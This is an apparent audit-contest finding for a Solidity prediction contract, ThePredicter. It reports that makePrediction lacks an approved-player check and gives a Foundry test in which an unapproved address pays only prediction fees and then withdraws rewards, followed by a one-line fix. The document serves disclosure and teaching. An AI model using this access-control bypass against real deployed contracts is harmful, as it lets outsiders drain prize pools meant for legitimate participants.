Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Unauthorized Users Can Make Predictions

Summary

The ThePredicter::makePrediction function lacks a check to ensure that only approved players can make predictions, allowing any address to participate in the prediction process.

Vulnerability Details

According to the README.md file:

Until 19:00:00 UTC on the day of the match, predictions can be made by any approved Player. Players pay prediction fee when making their first prediction for each match.

This means that only approved players should be able to make predictions. However, the makePrediction function does not include a check to verify if the caller is an approved player. This oversight allows any address to call the function and make predictions, as long as they pay the correct prediction fee.

Impact

This vulnerability causes significant prize pool dilution and unfair reward distribution. Unauthorized users can participate in predictions without paying the entrance fee, yet still become eligible for rewards if their prediction scores are positive. Consequently, the prize pool is shared among more participants than intended, reducing the rewards for legitimate, approved players who have paid both the entrance and prediction fees.

PoC

function test_anyoneCanMakePrediction() public {
address notAPlayer = makeAddr("notaplayer");
vm.deal(notAPlayer, 0.0003 ether);
vm.startPrank(notAPlayer);
// A user can make a predictions without being approved
thePredicter.makePrediction{value: 0.0001 ether}(
0,
ScoreBoard.Result.Draw
);
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.Draw
);
thePredicter.makePrediction{value: 0.0001 ether}(
2,
ScoreBoard.Result.Draw
);
vm.stopPrank();
// Ensure that the prediction fees have been payed
assertEq(notAPlayer.balance, 0.0000 ether);
assertEq(address(thePredicter).balance, 0.0003 ether);
vm.startPrank(stranger);
vm.deal(stranger, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(organizer);
// Approved user by the organiser
thePredicter.approvePlayer(stranger);
vm.stopPrank();
vm.startPrank(stranger);
// Approved user make predictions
thePredicter.makePrediction{value: 0.0001 ether}(
0,
ScoreBoard.Result.Draw
);
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.Draw
);
thePredicter.makePrediction{value: 0.0001 ether}(
2,
ScoreBoard.Result.Draw
);
vm.stopPrank();
// Ensure that the balance are correct : 1 ether - entrance fee - prediction fees
assertEq(stranger.balance, 0.9597 ether);
// Entrance Fee payed by stranger + all prediction fees
assertEq(address(thePredicter).balance, 0.0406 ether);
// Organiser set the result
vm.startPrank(organizer);
scoreBoard.setResult(0, ScoreBoard.Result.Draw);
scoreBoard.setResult(1, ScoreBoard.Result.Draw);
scoreBoard.setResult(2, ScoreBoard.Result.Draw);
scoreBoard.setResult(3, ScoreBoard.Result.Draw);
scoreBoard.setResult(4, ScoreBoard.Result.Draw);
scoreBoard.setResult(5, ScoreBoard.Result.Draw);
scoreBoard.setResult(6, ScoreBoard.Result.Draw);
scoreBoard.setResult(7, ScoreBoard.Result.Draw);
scoreBoard.setResult(8, ScoreBoard.Result.Draw);
vm.stopPrank();
// Organiser withraw Prediction fees
vm.startPrank(organizer);
thePredicter.withdrawPredictionFees();
vm.stopPrank();
// The not approved player is able to withraw fees, even if they didn't pay for entrance fee, nor getting approved by the organiser
vm.startPrank(notAPlayer);
thePredicter.withdraw();
vm.stopPrank();
// Getting the reward
assertEq(notAPlayer.balance, 0.0400 ether);
assertEq(address(thePredicter).balance, 0 ether);
}

Tools Used

Manual review, Foundry

Recommendations

Add a check at the beginning of the makePrediction function to ensure the caller is an approved player:

+ require(playersStatus[msg.sender] == Status.Approved, "Not an approved player");
Updates

Lead Judging Commences

NightHawK Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

makePrediction lacks access control

makePrediction has no access controls and any unapproved user can make predictions causing an incorrect calculation and distribution of rewards.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.